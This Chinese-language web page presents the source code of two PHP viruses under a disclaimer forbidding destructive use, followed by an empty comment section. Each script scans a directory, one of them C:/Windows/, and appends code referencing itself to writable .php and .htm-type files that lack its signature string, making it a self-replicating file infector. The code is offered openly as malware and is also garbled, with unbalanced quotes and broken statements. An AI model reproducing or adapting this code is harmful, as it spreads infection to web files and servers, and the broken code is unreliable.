公開PHP病毒源代碼。聲明:不準用於做破壞!

<?php
//第一隻php病毒(據說是)
$handle=opendir('.');
while ($file = readdir($handle))
{ $infected=true;
$executable=false;

if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr ($file, '.php')) )
if ( is_file($file) && is_writeable($file) )
{
$host = fopen($file, "r");
$contents = fread ($host, filesize ($file));
$sig = strstr ($contents, 'pirus.php');
if(!$sig) $infected=false;
}
if (($infected==false))
{
$host = fopen($file, "a");
fputs($host,"fputs($host,__FILE__);
fputs($host,"/"); ");
fputs($host,"?>");
fclose($host);
return;
}
}
closedir($handle);
print "hello";
?>

 

<?php

//第二個病毒:
$vir_string = "Neworld.PHP/n";
$virstringm = "Welcome To The New World Of PHP Programming/n";
$virt = $vir_string . $virstringm;

echo $virt;

$all = opendir('C:/Windows/');
while ($file = readdir($all))
{
$inf = true;
$exe = false;

if ( ($exe = strstr ($file, '.php')) || ($exe = strstr ($file, '.html')) || ($exe = strstr ($file, '.htm')) || ($exe = strstr ($file, '.htt')) )
if ( is_file($file) && is_writeable($file) )
{


$new = fopen($file, "r");
$look = fread($new, filesize($file));
$yes = strstr ($look, 'neworld.php');
if (!$yes) $inf = false;
}

if ( ($inf=false) )
{
$new = fopen($file, "a");
$fputs($new, "");
$fputs($new, "$fputs($new, __FILE__);
$fputs($new, "/"); ");
$fputs($new, "?>");
return;
}
}
closedir($all);
?>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章